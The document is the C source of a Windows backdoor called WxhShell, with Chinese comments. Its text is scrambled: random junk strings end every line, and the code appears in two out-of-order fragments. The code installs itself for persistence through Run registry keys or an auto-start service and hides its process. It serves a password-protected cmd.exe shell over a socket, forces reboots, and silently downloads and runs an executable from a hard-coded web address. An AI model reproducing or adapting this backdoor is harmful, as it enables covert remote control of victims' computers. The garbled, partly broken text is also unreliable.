    if(Boot(SHUTDOWN)) nM)]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bn47O~  
    else { $7M64K{  
    closesocket(wsh); ]?mWnEi!z  
    ExitThread(0); -twIF49  
    } xzIs,i}U  
    break; GeZwbJ/?B  
    } h Sr#/dw&  
  // 获取shell b 3D:w{l  
  case 's': { &l{yEWA}g  
    CmdShell(wsh); 6"eGd"  
    closesocket(wsh); KdYT5VUM/  
    ExitThread(0); |5$9l#e  
    break; )^g}'V=vIr  
  } LDr!d1A  
  // 退出 z15(8Y@2]  
  case 'x': { tCtR(mG=A  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +z;xl-*[  
    CloseIt(wsh); B,|M  
    break; u\&oiwSIP  
    } S1E2E3  
  // 离开 09%q/-$  
  case 'q': { 8p>%}LX/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9v 0.]  
    closesocket(wsh); ~$!eB/6ty  
    WSACleanup(); _(J- MCY\  
    exit(1); t<}'/ )  
    break; G-bG}9vc]  
        } 9%kY8#%SV  
  } :14O=C  
  } {eqUEdC  
WO^sm Ck  
  // 提示信息 xgsD<3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tN";o\!}  
} k$k (g  
  } H&3VPag  
~ E>D0o  
  return; c@5fiRPv!  
} J Y %B:  
dGP*bMCT  
// shell模块句柄 +lO Y IQ  
int CmdShell(SOCKET sock) &Mo=V4i>  
{ a%*W^R9Ls  
STARTUPINFO si; ` n@[=l~  
ZeroMemory(&si,sizeof(si)); 3,3{wGvHHW  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h_* =_2|}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^X[Kr=:Jp  
PROCESS_INFORMATION ProcessInfo; G/2@ Mn-  
char cmdline[]="cmd"; REQ2pfk0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _ CXKJ]m4  
  return 0; A}OV>yM  
} XuoI19V[  
C[n,j#Mvje  
// 自身启动模式 p^5B_r:  
int StartFromService(void) 2s?j5 Sd  
{ \ $X3n\  
typedef struct Dn<2.!ZKQ  
{ )&se/x+  
  DWORD ExitStatus; P,CJy|[L  
  DWORD PebBaseAddress; htMsS4^Kvd  
  DWORD AffinityMask; (gl CTF9v  
  DWORD BasePriority; zRsT6u  
  ULONG UniqueProcessId; ]$y"|xqR  
  ULONG InheritedFromUniqueProcessId; = fuF]yL%  
}   PROCESS_BASIC_INFORMATION; [q9TTJ@2  
}I#;~|v~<  
PROCNTQSIP NtQueryInformationProcess; Y]&H U) u  
JEU?@J71O  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; RTHdL  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; s:jr/ j!  
Itj|0PGd  
  HANDLE             hProcess; \P&'4y~PL  
  PROCESS_BASIC_INFORMATION pbi; x%vt$dy*8  
O 4l[4,`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Fr/8q:m &  
  if(NULL == hInst ) return 0; h9>~?1$lz  
- Kj$A@~x  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8 6?D  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \1aj!)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,Y &Q,  
:pDwg d  
  if (!NtQueryInformationProcess) return 0; M\e%GJ0  
n KDX=73  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 31Zl"-<#-  
  if(!hProcess) return 0; < ynm A  
?!Rl p/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &q``CCOF&  
8l+\Qyj  
  CloseHandle(hProcess); V8[woJ5x  
9p>3k&S  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3::DURkjf  
if(hProcess==NULL) return 0; 1i2jYDB"  
n&FN?"I/]  
HMODULE hMod; aR*z5p2-w  
char procName[255]; :Oa|&.0l?  
unsigned long cbNeeded; _9\ ayR>d  
\W??`?Idh  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7!Ym~M=  
SZK~<@q5  
  CloseHandle(hProcess); NnrX64|0  
pY ceMZ$  
if(strstr(procName,"services")) return 1; // 以服务启动 [M Z'i/  
_d %H;<_  
  return 0; // 注册表启动 'WxcA)z0cQ  
} kX+y2v(2++  
G/N'8Q)  
// 主模块 3MNo&0M9  
int StartWxhshell(LPSTR lpCmdLine) f{^C+t{r  
{ sJw3o7@pg  
  SOCKET wsl; !OPa `kSh  
BOOL val=TRUE; P]j{JL/g&  
  int port=0; ;}=v|Dr&I.  
  struct sockaddr_in door; ?9 :{p  
 x)THeH@  
  if(wscfg.ws_autoins) Install(); xo7H^!_   
z"=#<C  
port=atoi(lpCmdLine); >9uDY+70I3  
6b6}HO  
if(port<=0) port=wscfg.ws_port; bn~=d@'  
k8 ,.~HkU  
  WSADATA data; cqRIi~`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &]16Hb~  
.v/s9'lB  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   V78QV3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \&Mipf7a  
  door.sin_family = AF_INET; ,Hch->?Og  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {S'xZ._=  
  door.sin_port = htons(port); ,*@m<{DX)  
A_CEpG]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ac^}wXp  
closesocket(wsl); ZiSy&r:(  
return 1; ~{=+dQ  
} 6^if%62l&  
CsQ}eW8uEf  
  if(listen(wsl,2) == INVALID_SOCKET) { Jc-0.^]E}  
closesocket(wsl); vp[~%~1(  
return 1; O5{ >k  
} O)Nj'Hcu  
  Wxhshell(wsl); M})2y+  
  WSACleanup(); 4%KNHeaN  
Z>wg o@z%  
return 0; rgRh ySud  
[8^j wnAYS  
} ,xn+T)2I  
f:KKOLm  
// 以NT服务方式启动 _$9<N5F.,o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4IG'T m  
{ 0>)('Kv  
DWORD   status = 0; oi::/W|A+  
  DWORD   specificError = 0xfffffff; 8]YFlW9  
T]Vh]|_s  
  serviceStatus.dwServiceType     = SERVICE_WIN32; l$}h1&V7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; dp&4G6Y<A  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2(\~z@g  
  serviceStatus.dwWin32ExitCode     = 0; Y(m/E.h.~  
  serviceStatus.dwServiceSpecificExitCode = 0; VWI|`O.w  
  serviceStatus.dwCheckPoint       = 0; zEl@jK,{$  
  serviceStatus.dwWaitHint       = 0; $83TA> <a  
P2_JS]>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7;dV]N  
  if (hServiceStatusHandle==0) return; S@k4k^Vg  
r\F`xtR(  
status = GetLastError(); Gm}ecW  
  if (status!=NO_ERROR) u%Hegqn  
{ vnw83a%3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8*V3g_z  
    serviceStatus.dwCheckPoint       = 0; ?>*i8*  
    serviceStatus.dwWaitHint       = 0; Be68 Fu0  
    serviceStatus.dwWin32ExitCode     = status; J)6RXt*!  
    serviceStatus.dwServiceSpecificExitCode = specificError; w-Y-;*S  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Egi<m   
    return; V44IA[  
  } t,]r%  
9*h?g+\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +?),BRCce  
  serviceStatus.dwCheckPoint       = 0; 6 wYd)MDLL  
  serviceStatus.dwWaitHint       = 0; Ko]A}v\]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); EEEYNu/4/  
} 2ro4{^(_  
QmT L-  
// 处理NT服务事件,比如:启动、停止 _8vq]|rC  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :EJ+#  
{ V:4]]z L}  
switch(fdwControl) N?eWf +C  
{ c:.k2u  
case SERVICE_CONTROL_STOP: >V2Tr$m j  
  serviceStatus.dwWin32ExitCode = 0; qgbp-A!2zF  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {9q~bt  
  serviceStatus.dwCheckPoint   = 0; R3`!Xj#&M  
  serviceStatus.dwWaitHint     = 0; hF"yxucj$  
  { YDE;mIW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d/vF^v*o0X  
  } v}XMFC !  
  return; p&/}0eL y  
case SERVICE_CONTROL_PAUSE: ak 94"<p  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; HP}d`C5<R  
  break; R#.FfWTZ  
case SERVICE_CONTROL_CONTINUE: M<hX !B  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :8cp]v dW  
  break; k\8]fh)J\7  
case SERVICE_CONTROL_INTERROGATE: y=_8ae}aD~  
  break; )EZ#BF<0|  
}; FO#`}? R`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tn&~~G~#  
} 4 ,"%  
-\O%f)R  
// 标准应用程序主函数 G[z!;Zuf  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) FJDx80J  
{ xPoI+,  
`./$hh  
// 获取操作系统版本 2x%Xx3!  
OsIsNt=GetOsVer(); <\l@`x96"D  
GetModuleFileName(NULL,ExeFile,MAX_PATH); c `C /U7j  
?*lpu  
  // 从命令行安装 zXWf($^&E  
  if(strpbrk(lpCmdLine,"iI")) Install(); nA$zp  
w64/$  
  // 下载执行文件 &qKJN#NM@  
if(wscfg.ws_downexe) { i7]\}w|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) VX#4Gh,~N  
  WinExec(wscfg.ws_filenam,SW_HIDE); y^pzqv  
} O]&DDzo  
SKO*x^"eU  
if(!OsIsNt) { J;"66ue(d  
// 如果时win9x,隐藏进程并且设置为注册表启动 +72[*_ <  
HideProc(); P?D;BAP2  
StartWxhshell(lpCmdLine); w;f$oT  
} 67<Ym0+ =  
else #'s}=i}y"C  
  if(StartFromService()) q{v?2v{  
  // 以服务方式启动 GddP)l{uCF  
  StartServiceCtrlDispatcher(DispatchTable); X 633.]+  
else t*X k'(v  
  // 普通方式启动 "\0&1C(G  
  StartWxhshell(lpCmdLine); 1C) l) pV  
DPIIE2X  
return 0; |oCE7'BaP  
} %^1@c f?.  
UOh % "h  
gG5@ KD6k  
OX|nYTp  
=========================================== Td~CnCor  
[wKnJu  
Lckb*/jV&  
(vL-Z[M!  
a W1y0  
X'BFR]cm  
" mWhQds6  
E=PmOw7b  
#include <stdio.h> yffg_^fR  
#include <string.h> C9+`sFau@  
#include <windows.h> .v<Q-P\8/  
#include <winsock2.h> Qv~KGd9  
#include <winsvc.h> !yxb=>A  
#include <urlmon.h> Z.:g8Xl-6  
T_T@0`7  
#pragma comment (lib, "Ws2_32.lib") 6[cC1a3r:  
#pragma comment (lib, "urlmon.lib") VG,O+I'^z  
urM=l5Sx  
#define MAX_USER   100 // 最大客户端连接数 >\J({/ #O  
#define BUF_SOCK   200 // sock buffer P'wn$WE[n\  
#define KEY_BUFF   255 // 输入 buffer =}SH*xi6  
 Z1@E  
#define REBOOT     0   // 重启 j^ y9+W_b  
#define SHUTDOWN   1   // 关机 %5) 1^  
*Cs RO  
#define DEF_PORT   5000 // 监听端口 fU?P__zU4  
ZjCT * qx  
#define REG_LEN     16   // 注册表键长度 0f"9w PC  
#define SVC_LEN     80   // NT服务名长度 QOb+6qy:3  
0Fd<@w Q0  
// 从dll定义API <m") 2dJ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); hT c VMc  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); H83Gx;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "t[9EbFL  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Etv!:\\[  
'{e9Vh<x  
// wxhshell配置信息 c,wYXnJ_t  
struct WSCFG { C2$_Ad=s  
  int ws_port;         // 监听端口 0Yh Mwg?  
  char ws_passstr[REG_LEN]; // 口令 %Y0,ww2  
  int ws_autoins;       // 安装标记, 1=yes 0=no pQ:7%+Om  
  char ws_regname[REG_LEN]; // 注册表键名 QL_vWG -  
  char ws_svcname[REG_LEN]; // 服务名 x%J4A+kU  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 B~\mr{|u  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )qyJw N .D  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uItzFX*   
int ws_downexe;       // 下载执行标记, 1=yes 0=no SVJL|S 3k  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2 %`~DVo  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8ClOd<I  
u ZzO$e  
}; Z$a5vu*pg  
[i"6\p&  
// default Wxhshell configuration 8Uv2p{ <#  
struct WSCFG wscfg={DEF_PORT, m'j]T/WF  
    "xuhuanlingzhe", c >8I M  
    1, 5o v F$qn  
    "Wxhshell", :NHP,"  
    "Wxhshell", 6}(; ~/L  
            "WxhShell Service", =sp5.-r  
    "Wrsky Windows CmdShell Service", a/@F?\A  
    "Please Input Your Password: ", `f|Gw5R  
  1, *6C ]CS  
  "http://www.wrsky.com/wxhshell.exe", PUU "k:{  
  "Wxhshell.exe" K@RE-K6{  
    }; ?QJS6i'k  
GBh$nVn$  
// 消息定义模块 %z9lCTmy  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; g-4m.;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; iJ-z&=dOe  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; t9U-c5bR  
char *msg_ws_ext="\n\rExit."; B_kjy=]O.  
char *msg_ws_end="\n\rQuit."; 006 qj.  
char *msg_ws_boot="\n\rReboot..."; [. rULQl  
char *msg_ws_poff="\n\rShutdown..."; (=jztIZ C  
char *msg_ws_down="\n\rSave to "; uQ(C,f[6p  
p%ve1>c  
char *msg_ws_err="\n\rErr!"; @P'("qb~  
char *msg_ws_ok="\n\rOK!"; ]"wl*$N  
4qYT  
char ExeFile[MAX_PATH]; X2[d15!9  
int nUser = 0; PLV-De  
HANDLE handles[MAX_USER]; Ic<J]+Xq  
int OsIsNt; ~;QzV?%  
MsD@pa  
SERVICE_STATUS       serviceStatus; U!TSAg21P  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; gP 13n!7  
,UveH` n-  
// 函数声明 bTd94  
int Install(void); _rN1(=J  
int Uninstall(void); *"HA=-Z;  
int DownloadFile(char *sURL, SOCKET wsh); vl"{ovoC  
int Boot(int flag); s(?A=JJ  
void HideProc(void); N E/_  
int GetOsVer(void); y@'~fI!E4  
int Wxhshell(SOCKET wsl); tK0Ksnl^  
void TalkWithClient(void *cs); 9aa cW  
int CmdShell(SOCKET sock); `h(*D   
int StartFromService(void); N t-8[J  
int StartWxhshell(LPSTR lpCmdLine); Vz\?a8qQ<  
37U2Tb!y '  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); D=!T,p=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !uxma~ZH-  
Cvgk67C=$  
// 数据结构和表定义 M&h`uO/[  
SERVICE_TABLE_ENTRY DispatchTable[] = \Um &  
{ `at>X&Ce,  
{wscfg.ws_svcname, NTServiceMain}, Ir4M5OR\  
{NULL, NULL} T!ik"YZ@i  
};  TNj WZ  
713)D4y}  
// 自我安装 _yu_Ev}R  
int Install(void) +wpQ$)\  
{ Od?b(bE.]  
  char svExeFile[MAX_PATH]; #^zUaPV 7r  
  HKEY key; vUD>+*D  
  strcpy(svExeFile,ExeFile); B4/\RC2  
Z&M fE0F/B  
// 如果是win9x系统,修改注册表设为自启动 [7+dZL[  
if(!OsIsNt) { s6HfN'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J69B1Yi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?c0@A*:o  
  RegCloseKey(key); +}Q@{@5w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vq_v;$9}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t)n}S;iD  
  RegCloseKey(key); 0'nY  
  return 0; ns}"[44C}l  
    } .0ExHcr  
  } d~za%2{  
} T0F!0O `  
else { slRD /  
>ZjGs8&  
// 如果是NT以上系统,安装为系统服务 [ KT1.5M[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9?i~4&EY  
if (schSCManager!=0) *0!IHr"fn  
{ m! H7;S-(  
  SC_HANDLE schService = CreateService o?]g  
  ( o0`|r+E\  
  schSCManager, n+94./Mh  
  wscfg.ws_svcname, q#|,4( Z  
  wscfg.ws_svcdisp, |`c=`xK7'  
  SERVICE_ALL_ACCESS, qR>"r"Fq  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =c1t]%P,  
  SERVICE_AUTO_START, $=rLs)  
  SERVICE_ERROR_NORMAL, vb1Gz]~)>  
  svExeFile,  %J?"ZSh  
  NULL, %Tvy|L ,  
  NULL, -'wFaW0%I  
  NULL, .V'=z|   
  NULL, jn/ J-X=  
  NULL Ljq!\D  
  ); S-D=-{@  
  if (schService!=0) HaiaDY)  
  { Rd|xw%R\mb  
  CloseServiceHandle(schService); cN] ]J  
  CloseServiceHandle(schSCManager); Qin;{8I0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v<SCh)[-p  
  strcat(svExeFile,wscfg.ws_svcname); D/7hVwMw:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { o;\c$|TNU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $Afw]F$  
  RegCloseKey(key); w\f>.N  
  return 0; WUesTA>  
    } f:6%DT~a&C  
  } mE+  
  CloseServiceHandle(schSCManager); A;g{H|  
} F')fi0=  
} Z.v2 !u  
8ta`sNy9  
return 1; ;{e=Iz}/  
} xM6v0Ua  
48  |u{  
// 自我卸载 TA~YCj$  
int Uninstall(void) :lGH31GG  
{ 3$hbb6N%6.  
  HKEY key; |'bRVqJ  
rDvz2p"R  
if(!OsIsNt) { v!b 8_0~u6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P O{1u%P  
  RegDeleteValue(key,wscfg.ws_regname); b}OOG  
  RegCloseKey(key); ./ !6M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PiTe/  
  RegDeleteValue(key,wscfg.ws_regname); Jfkdiyy"  
  RegCloseKey(key); YEB@p.  
  return 0; b5v6Y:f&fK  
  } -Ze{d$  
} V7qc9Gd@I  
} 'z}Hg *  
else { D#?jddr-  
:1O1I2L0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,*w  
if (schSCManager!=0) _P]!J~$5  
{ kQY+D1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .}V&*-ep  
  if (schService!=0) aYyUe>  
  { l`}Ag8Q  
  if(DeleteService(schService)!=0) { uv,_?x\'  
  CloseServiceHandle(schService); 't5 I%F  
  CloseServiceHandle(schSCManager); ~SW_jiKM  
  return 0; ERE1XOe=D  
  } rq.S0bzH  
  CloseServiceHandle(schService); W?B(Jsv  
  } DrTo")T  
  CloseServiceHandle(schSCManager); -q-/0d<l  
} h6Vm;{ ~  
} guC7!P^  
bxS+ R\  
return 1; :gNTQZR  
} us^2Oplq<  
N{(Q,+ ~  
// 从指定url下载文件 f#W5Nu'*!  
int DownloadFile(char *sURL, SOCKET wsh) H$/r{gfg^  
{ l-N4RCt h  
  HRESULT hr; >+ZD 6l/  
char seps[]= "/"; }5)sS}C  
char *token; 2eOde(K+  
char *file; {[&_)AW6m%  
char myURL[MAX_PATH]; aFj)s?$4]K  
char myFILE[MAX_PATH]; cN{-&\ 6L  
![v@+9  
strcpy(myURL,sURL); :V%XEN)  
  token=strtok(myURL,seps); #\[((y:q  
  while(token!=NULL) oM@X)6P_  
  {  !lf:x  
    file=token; u'?yc"d>#  
  token=strtok(NULL,seps); ?}N@bsl08w  
  } 4gTD HQP  
9*@Kl`\  
GetCurrentDirectory(MAX_PATH,myFILE); Ng6(2Wt0e  
strcat(myFILE, "\\"); ' Vp6=,P  
strcat(myFILE, file); #l(cBM9sz  
  send(wsh,myFILE,strlen(myFILE),0); X:*Ut3"  
send(wsh,"...",3,0); v;9VX   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); T4\F=iw4  
  if(hr==S_OK) 7DU"QeLeb  
return 0; b ;Vy=f  
else 4No!`O-!&  
return 1; ;)^eDJ<  
H-Uy~Ry*T  
} %C]K`=vI-  
}NMkL l]J  
// 系统电源模块 E47U &xL  
int Boot(int flag) r$~w3yN)v  
{ m,e @bJ-  
  HANDLE hToken; f!`,!dZgkd  
  TOKEN_PRIVILEGES tkp; S.9ki<  
p",HF%  
  if(OsIsNt) { *3hqz<p4:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4s<*rKm~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); hi>sDU< x  
    tkp.PrivilegeCount = 1; #L-3eW=f  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; NXv u}&H  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); nj*B-M\p  
if(flag==REBOOT) { ^X%{]b K  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) t@Qs&DZ7k  
  return 0; U@<>2  
} 4c2*)x$@  
else { a.a5qwG  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) JLsy|}>  
  return 0; a G^kL  
} *`:zSnu  
  } R{~Yh.)~  
  else { 5$Yt@8;  
if(flag==REBOOT) { A f@IsCOJ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9-DDly [)4  
  return 0; ~n#rATbxf  
} sKhX0,s&  
else { fbKL31PI  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) J9^RP~>bs  
  return 0; OLc/Vij;  
} 7FMg6z8~  
} +I0?D  
r%hnl9  
return 1; )TxAhaz+  
} /JL2dBy#z  
@x">e][B  
// win9x进程隐藏模块 7p&%0'BO1z  
void HideProc(void) NZ/>nNs  
{ u>j:8lhtV  
bWK}oYB*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); rrei6$H&  
  if ( hKernel != NULL ) 'vT XR_D  
  { BlQu9{=n  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); lH/d#MT   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5V\\w~&/  
    FreeLibrary(hKernel); k#T onT  
  } )/h~csy:~  
8V%(SV  
return; PuAcsYQhN  
} `d, hP"jBc  
}tT"vCu  
// 获取操作系统版本 R=~+-^O!  
int GetOsVer(void) [1@ -F+  
{ XCO{}wU)>  
  OSVERSIONINFO winfo; 4f<%<Z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); f{[U->#^  
  GetVersionEx(&winfo); |D u.aN  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) WR=e$ ;  
  return 1; r#wMd9])  
  else GcQO&oq|  
  return 0; s.]7c CY  
} x|G# oG)_  
bS _!KU  
// 客户端句柄模块 LUv>0G#L[  
int Wxhshell(SOCKET wsl) |D%i3@P&ZR  
{ '/kSUvd  
  SOCKET wsh; pb_+_(/c  
  struct sockaddr_in client; 2/f:VB?<T  
  DWORD myID; `6`NuZ*6g  
%iY-}uhO  
  while(nUser<MAX_USER) P& C,EE$  
{ zr%lBHuW  
  int nSize=sizeof(client); DoAK]zyJA  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =1fO"|L  
  if(wsh==INVALID_SOCKET) return 1; &yv%"BPV  
O.CRF-` t  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )s(J8J[b*L  
if(handles[nUser]==0) P 0,) Gw  
  closesocket(wsh); mV0F ^5  
else Oz!#);v  
  nUser++; o0^'x Vv  
  } $+)2CXQe5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4]RGLN  
"TA r\; [  
  return 0; 4UmTA_& Io  
} \2)a.2mAz  
1tU}}l  
// 关闭 socket pXPwn(  
void CloseIt(SOCKET wsh) 6T0E'kv S  
{ X64OX9:YF  
closesocket(wsh); "*|plB  
nUser--; Q[`J=  
ExitThread(0); U8kH'OD  
} h.FC:ym"  
n}PK0  
// 客户端请求句柄 My0h9'K  
void TalkWithClient(void *cs) ZvEcExA-  
{ -Czq[n=0(  
,$@nbS{Q]  
  SOCKET wsh=(SOCKET)cs; TDXLxoC?  
  char pwd[SVC_LEN]; >lQ&^9EI%  
  char cmd[KEY_BUFF]; EL $"MT}p  
char chr[1]; 9qkH~B7  
int i,j; -q\5)nY  
4 F~e3  
  while (nUser < MAX_USER) { bs$x%CR  
~fB}v  
if(wscfg.ws_passstr) { aG;6^$H~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z<6xQTx  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3 G/#OJ  
  //ZeroMemory(pwd,KEY_BUFF); evryk,x  
      i=0; .f 4a+w  
  while(i<SVC_LEN) { [vb>5EhL!  
-=,%9r  
  // 设置超时 itb0dF1G  
  fd_set FdRead; ;mH1J'.(a  
  struct timeval TimeOut; r1&b#r>  
  FD_ZERO(&FdRead); !U.Xb6  
  FD_SET(wsh,&FdRead); 2T/C!^iJ)  
  TimeOut.tv_sec=8; B~oSKM%8R  
  TimeOut.tv_usec=0; O~F/{: U  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Y, K): ~T  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /l_ $1<c  
IQ[ ?ej3W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *%_:[>  
  pwd=chr[0]; vf(8*}'!Q  
  if(chr[0]==0xd || chr[0]==0xa) { OJ$169@;  
  pwd=0; .E:[ \H"  
  break; 2xRb$QF  
  } 0/P!rH9  
  i++; Zy^mSI4i  
    } P lJl#-BO  
q+2yp&zF  
  // 如果是非法用户,关闭 socket %||}WT-wv  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); H6?ZE  
} J7X-=E D  
r*]0PQ{?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f 'aQ T  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yA_;\\  
L;30& a  
while(1) { n's3!HQY[  
R_ J=x  
  ZeroMemory(cmd,KEY_BUFF); ]$(::'pmK  
eIc~J!?<&V  
      // 自动支持客户端 telnet标准   Jo Qzf~  
  j=0; ]4SnOSV?S  
  while(j<KEY_BUFF) { "Q9S<O8)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4S|! iOY  
  cmd[j]=chr[0]; en>d  T  
  if(chr[0]==0xa || chr[0]==0xd) { pv039~Sud  
  cmd[j]=0; UN_f2  
  break; Nw $io8:d  
  } 2pFOC;tl  
  j++; ?^P#P0  
    } adtK$@Yeg  
K6=-Zf  
  // 下载文件 Z y@35;r  
  if(strstr(cmd,"http://")) { dj4 g  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %~P]x7%|  
  if(DownloadFile(cmd,wsh)) [9UKVnX.V  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 84tuN  
  else {n%-^9b1{&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z:aDKAboU  
